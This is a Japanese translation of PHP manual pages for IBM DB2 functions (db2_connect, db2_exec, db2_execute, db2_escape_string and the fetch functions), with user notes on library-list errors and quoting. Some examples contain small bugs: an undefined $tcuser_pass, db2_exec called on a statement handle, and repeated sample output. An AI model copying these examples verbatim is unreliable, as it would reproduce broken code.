オプションの配列を db2_connect() に渡すことで、接続ハンドルのデフォルトの振る舞いを変更できます。

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);

$conn = db2_connect($database, $user, $password, $options);

if ($conn) {
    echo "接続に成功しました。\n";
    if (db2_autocommit($conn)) {
         echo "自動コミットが有効です。\n";
    }
    else {
         echo "自動コミットは無効です。\n";
    }
    db2_close($conn);
}
else {
    echo "接続に失敗しました。";
}
?>

上の例の出力は以下となります。

接続に成功しました。
自動コミットは無効です。

例4 i5/OS best performance

i5/OS で最高のパフォーマンスを引き出すためには、ibm_db2 1.5.1 を使用した PHP アプリケーションで db2_connect() にデフォルトのホスト、ユーザー ID およびパスワードを使用します。

<?php
  $library = "ADC";
  $i5 = db2_connect("", "", "", array("i5_lib"=>"qsys2"));
  $result = db2_exec($i5,
       "select * from systables where table_schema = '$library'");
  while ($row = db2_fetch_both($result)) {
     echo $row['TABLE_NAME']."</br>";
  }
  db2_close($i5);
?>

上の例の出力は以下となります。

ANIMALS
NAMES
PICTURES

例5 信頼済みコンテキストの使用

次の例は、信頼済みのコンテキストを有効にしてユーザーを変更し、現在のユーザー ID を取得するものです。

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
  PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_connect($dsn, "", "", $options);
if($tc_conn) {
    echo "Explicit trusted connection succeeded.\n";

    if(db2_get_option($tc_conn, "trustedcontext")) {
        $userBefore = db2_get_option($tc_conn, "trusted_user");

        // user 1 で何らかの作業をします

        // 信頼済みユーザーに切り替えます
        $parameters = array("trusted_user" => $tc_user,
          "trusted_password" => $tcuser_pass);
        $res = db2_set_option ($tc_conn, $parameters, 1);

        $userAfter = db2_get_option($tc_conn, "trusted_user");
        // 信頼済みユーザーとして何らかの作業をします

        if($userBefore != $userAfter) {
            echo "User has been switched." . "\n";
        }
    }

    db2_close($tc_conn);
}
else {
    echo "Explicit trusted connection failed.\n";
}
?>

上の例の出力は以下となります。

Explicit trusted connection succeeded.
User has been switched.

参考

  • db2_close() - データベース接続を閉じる
  • db2_pconnect() - データベースへの持続的接続を返す

User Contributed Notes

d dot lanza38 at gmail dot com 29-Sep-2015 01:16
As of 09/29/2015 when using the ibm_db2 driver and specifying an invalid library list with the 'i5_libl' option, the connection will be successfully created but with a default library list.  What happens is the connection is made and THEN the library list is attempted to be changed.  The connection will be a success but the library list change will fail without "db2_conn_error()" or "db2_conn_errormsg()" reporting anything and a default library list will be used.  However, "db2_stmt_error()" and "db2_stmt_errormsg()" will register with a value.  Also if error reporting is enable, the warning will be output to the screen.  This is not a bug, rather intended behavior according to Zend (I opened a ticked) and depending on which library list is used/swapped could lead to major problems (development VS production).  I stumbled upon this behavior when an anomaly (which I still can't explain) was imploding my library list with the character 'Z'.  I realized I was in my development environment but accessing production data as a result.  Going forward I will make sure to add this additional check for good measure.

See below to recreate behavior:

<?php
ini_set("display_errors", 1);

$systemName = 'systemName';
$userID = 'userName';
$password = 'password';

$options['i5_libl'] = implode('Z', array(
        'INVALID',
    'LIB',
    'LIST',
    'IMPLODED',
    'WITH',
    'THE',
    'LETTER',
    'Z'
    ));

$options['i5_naming'] = DB2_I5_NAMING_ON;

$conn = db2_connect($systemName, $userID, $password, $options);
//This line causes "ini_set("display_errors", 1)" to dislay this warning on the screen:
//Warning: db2_connect(): Statement Execute Failed in /PATH/TO/FILE/test.php on line 58

if (db2_stmt_error()) { //Evaluates to true
    echo "error ID: " . (db2_stmt_error()); //Displays error code: 38501
    echo "<br>error message: " . (db2_stmt_errormsg()); //Displays: Trigger program or external routine detected an error. SQLCODE=-443
}

echo "<br />|".db2_conn_error()." ||| ".db2_conn_errormsg()."|<br />"; //Only "| ||| |" is displayed
print_r($conn); //A resource ID is displayed
echo "<br />";

if(isset($conn) && $conn === true){
    echo "Boolean true<br />";
    //never executes, but not expected since either false or a resource ID should be returned.
    //Plus it is clear $conn contains a resource ID from above.
}
if(isset($conn) && $conn == true){
    echo "Non-Boolean true 2<br />";
    //This always executes regardless of an accurate library list or not
    //I suppose "if($conn)" would evaluate to non-boolean true so this makes sense.
}
if(isset($conn) && $conn == "true"){
    echo "String true";
    //Never executes, but not expected.
}
if(isset($conn) && $conn === false){
    echo "Boolean false<br />";
    //never executes because the connection itself was a success.
    //If invalid credentials were provided this executes.
}
if(isset($conn) && $conn == false){
    echo "Non-Boolean false 2<br />";
    //never executes because the connection itself was a success.
    //Added this here because I was unsure if a boolean false would be returned or not.
    //If invalid credentials were provided this executes as well.
}
if(isset($conn) && $conn == "false"){
    echo "String false";
    //never executes because the connection itself was a success.
    //Added this here because I was unsure if a String "false" would be returned
}
?>


ステートメントリソースが使用しているカーソルの型を返す

  • ≪ db2_connect
  • db2_escape_string ≫
  • PHP Manual
  • IBM DB2 関数
  • ステートメントリソースが使用しているカーソルの型を返す

db2_cursor_type

(PECL ibm_db2 >= 1.0.0)

db2_cursor_type — ステートメントリソースが使用しているカーソルの型を返す

説明

db2_cursor_type ( resource $stmt ) : int

ステートメントリソースが使用しているカーソルの型を返します。 使用中のカーソルが前進のみなのかスクロール可能なのかを調べるために、 これを使用します。

パラメータ

stmt

有効なステートメントリソース。

返り値

ステートメントリソースが前進のみのカーソルを使用している場合に DB2_FORWARD_ONLY、スクロール可能なカーソルを 使用している場合に DB2_SCROLLABLE を返します。

参考

  • db2_prepare() - 実行する SQL 文を準備する

User Contributed Notes

There are no user contributed notes for this page.


特定の文字をエスケープする

  • ≪ db2_cursor_type
  • db2_exec ≫
  • PHP Manual
  • IBM DB2 関数
  • 特定の文字をエスケープする

db2_escape_string

(PECL ibm_db2 >= 1.6.0)

db2_escape_string — 特定の文字をエスケープする

説明

db2_escape_string ( string $string_literal ) : string

引数で指定した文字列中の特殊文字の前にバックスラッシュを追加します。

パラメータ

string_literal

変更すべき特殊文字を含む文字列。 \x00、 \n、\r、\、 '、" および \x1a について、その前にバックスラッシュを追加します。

返り値

string_literal の中の上で挙げた文字について、 その前にバックスラッシュを追加した文字列を返します。

例

例1 db2_escape_string() の例

db2_escape_string() 関数を使用した結果

<?php

$conn = db2_connect($database, $user, $password);

if ($conn) {
    $str[0] = "All characters: \x00 , \n , \r , \ , ' , \" , \x1a .";
    $str[1] = "Backslash (\). Single quote ('). Double quote (\")";
    $str[2] = "The NULL character \0 must be quoted as well";
    $str[3] = "Intersting characters: \x1a , \x00 .";
    $str[4] = "Nothing to quote";
    $str[5] = 200676;
    $str[6] = "";

    foreach( $str as $string ) {
        echo "db2_escape_string: " . db2_escape_string($string). "\n";
    }
}
?>

上の例の出力は以下となります。

db2_escape_string: All characters: \0 , \n , \r , \\ , \' , \" , \Z .
db2_escape_string: Backslash (\\). Single quote (\'). Double quote (\")
db2_escape_string: The NULL character \0 must be quoted as well
db2_escape_string: Intersting characters: \Z , \0 .
db2_escape_string: Nothing to quote
db2_escape_string: 200676
db2_escape_string:

参考

  • db2_prepare() - 実行する SQL 文を準備する

User Contributed Notes

hippyjim 27-May-2009 06:52
One thing to note here - don't know if it applies to all DB2 installations, and I know I'm using an antiquated one, but my DB2 install wants a ' to be quoted rather than slashed.

That means this function is useless to pick up apostrophes ' in strings, as it adds a slash which DB2 ignores.

You'll need to use something like str_replace to swap your ' for ''.


SQL 文を直接実行する

  • ≪ db2_escape_string
  • db2_execute ≫
  • PHP Manual
  • IBM DB2 関数
  • SQL 文を直接実行する

db2_exec

(PECL ibm_db2 >= 1.0.0)

db2_exec — SQL 文を直接実行する

説明

db2_exec ( resource $connection , string $statement , array $options = ? ) : resource

SQL 文を直接実行します。

PHP 変数の内容を SQL 文に組み込みたい場合は、この関数を使用すると 典型的なセキュリティ上の問題を引き起こしかねないことを知っておきましょう。 db2_prepare() をコールして入力パラメータつきの SQL 文を準備することを検討してください。その後で db2_execute() をコールして入力値を渡すことで、 SQL インジェクション攻撃を避けることができます。

同じ SQL 文にさまざまなパラメータを指定して何度も発行する場合は、 db2_prepare() および db2_execute() の使用を検討してください。 これにより、データベースサーバーが実行計画を再利用することができて データベースアクセスの効率が向上します。

パラメータ

connection

db2_connect() あるいは db2_pconnect() が返した有効なデータベース接続リソース。

statement

SQL 文。パラメータマーカを含めることはできません。

options

文のオプションを含む連想配列。 データベースサーバーがその機能をサポートしている場合に、 このパラメータを使用してスクロール可能なカーソルの使用を 要求することができます。

オプションについての説明は db2_set_option() を参照ください。

返り値

SQL 文の実行に成功した場合にステートメントリソース、 SQL 文の実行に失敗した場合に false を返します。

例

例1 db2_exec() でのテーブルの作成

以下の例では、db2_exec() を使用して テーブルを作成する DDL 文を発行します。

<?php
$conn = db2_connect($database, $user, $password);

// テストテーブルを作成します
$create = 'CREATE TABLE animals (id INTEGER, breed VARCHAR(32),
    name CHAR(16), weight DECIMAL(7,2))';
$result = db2_exec($conn, $create);
if ($result) {
    print "テーブルの作成に成功しました。\n";
}

// テストテーブルに値を投入します
$animals = array(
    array(0, 'cat', 'Pook', 3.2),
    array(1, 'dog', 'Peaches', 12.3),
    array(2, 'horse', 'Smarty', 350.0),
    array(3, 'gold fish', 'Bubbles', 0.1),
    array(4, 'budgerigar', 'Gizmo', 0.2),
    array(5, 'goat', 'Rickety Ride', 9.7),
    array(6, 'llama', 'Sweater', 150)
);

foreach ($animals as $animal) {
    $rc = db2_exec($conn, "INSERT INTO animals (id, breed, name, weight)
      VALUES ({$animal[0]}, '{$animal[1]}', '{$animal[2]}', {$animal[3]})");
    if ($rc) {
        print "Insert... ";
    }
}
?>

上の例の出力は以下となります。

テーブルの作成に成功しました。
Insert... Insert... Insert... Insert... Insert... Insert... Insert...

例2 スクロール可能なカーソルでの SELECT 文の実行

以下の例では、db2_exec() で発行された SQL 文にスクロール可能なカーソルを要求する方法を説明します。

<?php
$conn = db2_connect($database, $user, $password);
$sql = "SELECT name FROM animals
    WHERE weight < 10.0
    ORDER BY name";
if ($conn) {
    require_once('prepare.inc');
    $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
    while ($row = db2_fetch_array($stmt)) {
        print "$row[0]\n";
    }
}
?>

上の例の出力は以下となります。

Bubbles
Gizmo
Pook
Rickety Ride

例3 XML データを SQL の結果セットとして返す

次の例は、XML カラムに格納されたデータの扱い方を、SAMPLE データベースを用いて説明するものです。ごく単純な SQL/XML を使用して、この例では XML ドキュメントのいくつかのノードを みなさんおなじみの SQL 結果セット形式で返します。

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
    COLUMNS
    "CID" VARCHAR (50) PATH \'@Cid\',
    "NAME" VARCHAR (50) PATH \'name\',
    "PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
    ) AS T
    WHERE NAME = \'Kathy Smith\'
    ';
$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE\n");
}
db2_close($conn);

?>

上の例の出力は以下となります。

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

例4 XML データの "JOIN"

次の例は、SAMPLE データベースの 2 つの異なる XML カラムに格納されたドキュメントを使用します。 まず、2 つの異なるカラムの XML ドキュメントをもとにして 2 つのテンポラリテーブルを作成します。 そして特定の顧客の配送情報を SQL 結果セットで返します。

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
    SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
    FROM
    XMLTABLE(
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
    COLUMNS
    "CID" BIGINT PATH \'@Cid\',
    "NAME" VARCHAR (50) PATH \'name\',
    "PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
    ) as A,
    PURCHASEORDER AS B,
    XMLTABLE (
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
    COLUMNS
    "PONUM"  BIGINT PATH \'@PoNum\',
    "STATUS" VARCHAR (50) PATH \'@Status\'
    ) as C
    WHERE A.CID = B.CUSTID AND
    B.POID = C.PONUM AND
    A.NAME = \'Kathy Smith\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE     $row->PONUM     $row->STATUS\n");
}

db2_close($conn);

?>

上の例の出力は以下となります。

1001     Kathy Smith     905-555-7258     5002     Shipped

例5 大きな XML ドキュメントの一部を SQL データとして返す

次の例は、SAMPLE データベースのドキュメント PRODUCT.DESCRIPTION の一部を使用します。これは、商品の説明 (XML データ) および価格情報 (SQL データ) を含む XML ドキュメントを返します。

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
    declare boundary-space strip;
    declare default element namespace "http://posample.org";
    <promoList> {
    for $prod in $doc/product
    where $prod/description/price < 10.00
    order by $prod/description/price ascending
    return(
        <promoitem> {
        $prod,
        <startdate> {$start} </startdate>,
        <enddate> {$end} </enddate>,
        <promoprice> {$promo} </promoprice>
        } </promoitem>
    )
    } </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = \'100-100-01\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_array($stmt)){
    printf("$row[0]\n");
}
db2_close($conn);

?>

上の例の出力は以下となります。

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

参考

  • db2_execute() - プリペアドステートメントを実行する
  • db2_prepare() - 実行する SQL 文を準備する

User Contributed Notes

duc 12-Aug-2006 06:38
if you have the error message : PHP Warning:  db2_exec() [<a href='function.db2-exec'>function.db2-exec</a>]: Statement Execute Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid
shawn at frozen-o dot com 19-May-2006 10:34
If you need to "emulate" offset/limit (as PEAR::DB puts it) for db2 queries, you will definitely need to add array('cursor' => DB2_SCROLLABLE) to your db2_exec() call. Otherwise, you will get nothing useful from db2_fetch_{whatever}() when you try to (see following hack for example):

<?php
$limit = 10;
$offset = 20;

for ($i = 0; $i < $limit && $row = db2_fetch_array($result, $offset + $i); $i++) {
    // stuff goes here
}
?>

You can accomplish the same time of thing using sub-selects, "with" statements and other things new to me in the world of DB2, but the more dynamically generated the queries, the more difficult it gets to implement limit/offset behavior on the fly.


プリペアドステートメントを実行する

  • ≪ db2_exec
  • db2_fetch_array ≫
  • PHP Manual
  • IBM DB2 関数
  • プリペアドステートメントを実行する

db2_execute

(PECL ibm_db2 >= 1.0.0)

db2_execute — プリペアドステートメントを実行する

説明

db2_execute ( resource $stmt , array $parameters = ? ) : bool

db2_execute() は、 db2_prepare() で準備された SQL 文を実行します。

SQL 文が結果セットを返す場合、例えば SELECT 文であったり 結果セットを返すストアドプロシージャの CALL であったりした場合には、 stmt から結果の行を配列として取得することができます。 取得には db2_fetch_assoc()、 db2_fetch_both() あるいは db2_fetch_array() を使用します。 あるいは、db2_fetch_row() を使用して 結果セットポインタを次の行に移動させ、 db2_result() で行の内容をその都度取得することも可能です。

db2_exec() の代わりに
db2_prepare() および
db2_execute() を使用することの利点については、
db2_prepare() での簡単な説明を参照ください。

パラメータ

stmt

db2_prepare() が返すプリペアドステートメント。

parameters

プリペアドステートメント内に含まれるパラメータマーカに対応する、 入力パラメータの配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 パラメータマーカを使用した SQL 文の準備と実行

以下の例では、4 つのパラメータマーカを含む INSERT 文を準備し、 入力値の配列を含む配列を順に処理しながら db2_execute() に値を渡します。

<?php
$pet = array(0, 'cat', 'Pook', 3.2);

$insert = 'INSERT INTO animals (id, breed, name, weight)
    VALUES (?, ?, ?, ?)';

$stmt = db2_prepare($conn, $insert);
if ($stmt) {
    $result = db2_execute($stmt, $pet);
    if ($result) {
        print "新しいペットの追加に成功しました。";
    }
}
?>

上の例の出力は以下となります。

新しいペットの追加に成功しました。

例2 OUT パラメータを使用したストアドプロシージャのコール

以下の例では、まずひとつの OUT パラメータをパラメータマーカで受け取る CALL 文を準備し、db2_bind_param() を使用して PHP 変数 $my_pets をそのパラメータにバインドし、 db2_execute() で CALL 文を実行します。 ストアドプロシージャの CALL 終了後は、$num_pets にはストアドプロシージャの OUT パラメータに返された値が反映されています。

<?php
$num_pets = 0;
$res = db2_prepare($conn, "CALL count_my_pets(?)");
$rc = db2_bind_param($res, 1, "num_pets", DB2_PARAM_OUT);
$rc = db2_execute($res);
print "私の飼っているペットの数は $num_pets です!";
?>

上の例の出力は以下となります。

私の飼っているペットの数は 7 です!

例3 XML データを SQL の結果セットとして返す

次の例は、XML カラムに格納されたデータの扱い方を、SAMPLE データベースを用いて説明するものです。ごく単純な SQL/XML を使用して、この例では XML ドキュメントのいくつかのノードを みなさんおなじみの SQL 結果セット形式で返します。

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
    COLUMNS
    "CID" VARCHAR (50) PATH \'@Cid\',
    "NAME" VARCHAR (50) PATH \'name\',
    "PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
    ) AS T
    WHERE NAME = ?
    ';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
    db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
    db2_execute($stmt);

    while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE\n");
    }
}
db2_close($conn);

?>

上の例の出力は以下となります。

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

例4 XML データの "JOIN"

次の例は、SAMPLE データベースの 2 つの異なる XML カラムに格納されたドキュメントを使用します。 まず、2 つの異なるカラムの XML ドキュメントをもとにして 2 つのテンポラリテーブルを作成します。 そして特定の顧客の配送情報を SQL 結果セットで返します。

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
FROM
XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" BIGINT PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) as A,
PURCHASEORDER AS B,
XMLTABLE (
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
COLUMNS
"PONUM"  BIGINT PATH \'@PoNum\',
"STATUS" VARCHAR (50) PATH \'@Status\'
) as C
WHERE A.CID = B.CUSTID AND
    B.POID = C.PONUM AND
    A.NAME = ?
';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
    db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
    db2_execute($stmt);

    while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE     $row->PONUM     $row->STATUS\n");
    }
}

db2_close($conn);

?>

上の例の出力は以下となります。

1001     Kathy Smith     905-555-7258     5002     Shipped

例5 大きな XML ドキュメントの一部を SQL データとして返す

次の例は、SAMPLE データベースのドキュメント PRODUCT.DESCRIPTION の一部を使用します。これは、商品の説明 (XML データ) および価格情報 (SQL データ) を含む XML ドキュメントを返します。

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
    declare boundary-space strip;
    declare default element namespace "http://posample.org";
    <promoList> {
    for $prod in $doc/product
    where $prod/description/price < 10.00
    order by $prod/description/price ascending
    return(
        <promoitem> {
        $prod,
        <startdate> {$start} </startdate>,
        <enddate> {$end} </enddate>,
        <promoprice> {$promo} </promoprice>
            } </promoitem>
    )
    } </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = ?
';

$stmt = db2_prepare($conn, $query);

$pid = "100-100-01";

if ($stmt) {
    db2_bind_param($stmt, 1, "pid", DB2_PARAM_IN);
    db2_execute($stmt);

    while($row = db2_fetch_array($stmt)){
    printf("$row[0]\n");
    }
}

db2_close($conn);

?>

上の例の出力は以下となります。

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

参考

  • db2_exec() - SQL 文を直接実行する
  • db2_fetch_array() - 結果セット内の行を表す、カラム位置をインデックスとする配列を返す
  • db2_fetch_assoc() - 結果セット内の行を表す、カラム名をインデックスとする配列を返す
  • db2_fetch_both() - 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す
  • db2_fetch_row() - 結果セットポインタを次の行あるいは要求された行に設定する
  • db2_prepare() - 実行する SQL 文を準備する
  • db2_result() - 結果セットの行からひとつのカラムを返す

User Contributed Notes

stefanov at uk dot ibm dot com 20-Jan-2016 07:26
You CANNOT bind parameters for table and/or column names. Binding parameters only works for values:

YES: $sqlQuery = "UPDATE ".TB_NAME." SET ".CN_NAME." = ? WHERE DAY = ?";
NO: $sqlQuery = "UPDATE ? SET ? = ? WHERE DAY = ?";

Any attempt to bind column or table names will result in the following error during db2_execute():
PHP Warning:  db2_bind_param(): Describe Param Failed in ...


結果セット内の行を表す、カラム位置をインデックスとする配列を返す

  • ≪ db2_execute
  • db2_fetch_assoc ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内の行を表す、カラム位置をインデックスとする配列を返す

db2_fetch_array

(PECL ibm_db2 >= 1.0.1)

db2_fetch_array — 結果セット内の行を表す、カラム位置をインデックスとする配列を返す

説明

db2_fetch_array ( resource $stmt , int $row_number = -1 ) : array

結果セット内の行を表す、カラム位置をインデックスとする配列を返します。 インデックスは 0 から始まります。

パラメータ

stmt

結果セットを含む有効な stmt リソース。

row_number

結果セット内の 1 から始まる行番号を指定します。 結果セットで前進のみのカーソルを使用している場合にこのパラメータを渡すと、 PHP の警告が発生します。

返り値

結果セットの次の行あるいは要求した行のデータを表す配列を返します。 配列の 0 から始まるインデックスが、カラムの位置を表します。 結果セットに行がもうない場合、あるいは row_number で指定された行が結果セットに存在しない場合に false を返します。

例

例1 前進のみのカーソルを使用して順に処理する

行番号を指定せずに db2_fetch_array() をコールすると、 自動的に結果セットの次の行を取得します。

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_array($stmt)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row[1], $row[2], $row[3]);
}
?>

上の例の出力は以下となります。

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

例2 スクロール可能なカーソルから、指定した行を db2_fetch_array() で取得する

スクロール可能なカーソルを使用している場合は、行番号を指定して db2_fetch_array() をコールすることができます。 次の例は、結果セットの 2 行目から始めて 1 行おきにデータを取得します。

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_array($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row[1], $row[2], $row[3]);
    $i = $i + 2;
}
?>

上の例の出力は以下となります。

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

参考

  • db2_fetch_assoc() - 結果セット内の行を表す、カラム名をインデックスとする配列を返す
  • db2_fetch_both() - 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す
  • db2_fetch_object() - 結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す
  • db2_fetch_row() - 結果セットポインタを次の行あるいは要求された行に設定する
  • db2_result() - 結果セットの行からひとつのカラムを返す

User Contributed Notes

There are no user contributed notes for this page.


結果セット内の行を表す、カラム名をインデックスとする配列を返す

  • ≪ db2_fetch_array
  • db2_fetch_both ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内の行を表す、カラム名をインデックスとする配列を返す

db2_fetch_assoc

(PECL ibm_db2 >= 1.0.0)

db2_fetch_assoc — 結果セット内の行を表す、カラム名をインデックスとする配列を返す

説明

db2_fetch_assoc ( resource $stmt , int $row_number = -1 ) : array

結果セット内の行を表す、カラム名をインデックスとする配列を返します。

パラメータ

stmt

結果セットを含む有効な stmt リソース。

row_number

結果セット内の 1 から始まる行番号を指定します。 結果セットで前進のみのカーソルを使用している場合にこのパラメータを渡すと、 PHP の警告が発生します。

返り値

結果セットの次の行あるいは要求した行のデータを表す、 カラム名をインデックスとした連想配列を返します。 結果セットに行がもうない場合、あるいは row_number で指定された行が結果セットに存在しない場合に false を返します。

例

例1 前進のみのカーソルを使用して順に処理する

行番号を指定せずに db2_fetch_assoc() をコールすると、 自動的に結果セットの次の行を取得します。

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_assoc($stmt)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
}
?>

上の例の出力は以下となります。

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

例2 スクロール可能なカーソルから、指定した行を db2_fetch_assoc() で取得する

スクロール可能なカーソルを使用している場合は、行番号を指定して db2_fetch_assoc() をコールすることができます。 次の例は、結果セットの 2 行目から始めて 1 行おきにデータを取得します。

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_assoc($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
    $i = $i + 2;
}
?>

上の例の出力は以下となります。

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

参考

  • db2_fetch_array() - 結果セット内の行を表す、カラム位置をインデックスとする配列を返す
  • db2_fetch_both() - 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す
  • db2_fetch_object() - 結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す
  • db2_fetch_row() - 結果セットポインタを次の行あるいは要求された行に設定する
  • db2_result() - 結果セットの行からひとつのカラムを返す

User Contributed Notes

There are no user contributed notes for this page.


結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す

  • ≪ db2_fetch_assoc
  • db2_fetch_object ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す

db2_fetch_both

(PECL ibm_db2 >= 1.0.0)

db2_fetch_both — 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す

説明

db2_fetch_both ( resource $stmt , int $row_number = -1 ) : array

結果セット内の行を表す、
カラム位置およびカラム名の両方をインデックスとする配列を返します。
db2_fetch_both() が返す行は、
一種類のインデックスしか返さない db2_fetch_assoc() あるいは
db2_fetch_array() よりもメモリを消費することに注意しましょう。

パラメータ

stmt

結果セットを含む有効な stmt リソース。

row_number

結果セット内の 1 から始まる行番号を指定します。 結果セットで前進のみのカーソルを使用している場合にこのパラメータを渡すと、 PHP の警告が発生します。

返り値

結果セットの次の行あるいは要求した行のデータを表す、 カラム名および (0 から始まる) カラム番号の両方をインデックスとした連想配列を返します。 結果セットに行がもうない場合、あるいは row_number で指定された行が結果セットに存在しない場合に false を返します。

例

例1 前進のみのカーソルを使用して順に処理する

行番号を指定せずに db2_fetch_both() をコールすると、 自動的に結果セットの次の行を取得します。次の例では、 返された配列に対してカラム名および数値インデックスの両方でアクセスします。

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_both($stmt)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row[0], $row['BREED'], $row[3]);
}
?>

